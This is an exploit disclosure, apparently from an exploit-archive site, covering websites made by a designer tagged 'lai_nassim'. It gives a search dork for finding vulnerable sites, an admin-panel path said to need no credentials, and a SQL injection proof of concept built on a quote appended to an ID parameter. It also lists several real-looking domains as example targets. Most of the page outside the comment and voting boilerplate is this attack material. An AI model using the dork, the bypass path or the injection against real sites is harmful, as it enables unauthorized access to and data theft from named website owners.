lai_nassim Design - Admin Panel Bypass & SQLi

2019.04.20

ABDO10 (DZ)

Risk: Medium

Local: No

Remote: Yes

CVE: N/A

CWE: N/A

Dork: allintext:": lai_nassim@hotmail.fr"

[+] Title : lai_nassim Algerian Design - Admin Panel Bypass & SQLi
[+] Author [Founder] : ABDO10
[+] Date : April, 20th 2019
[+] Test Was On : Linux , Firefox
[+] Dork : allintext:": lai_nassim@hotmail.fr"

[+] Panel Bypass Poc: 
# [target]/hep/index.php
# No credentials required 

[+] SQli Poc:
[taget]/sejut.php?ID=1%27 

[+] E.g

Bypass 
# akhbarousboue.com/hep/index.php
# http://www.istafid.com/hep/index.php
SQLi 
# http://wassitalkhir.org/wassit-sejut.php?ID=3445%27 
# akhbarousboue.com/s.php?I=1026%27 

GREETZ: ./Lakarha_Family

See this note in RAW Version

Vote for this issue:

100%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

lai_nassim Design - Admin Panel Bypass & SQLi

Dork: allintext:": lai_nassim@hotmail.fr"

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.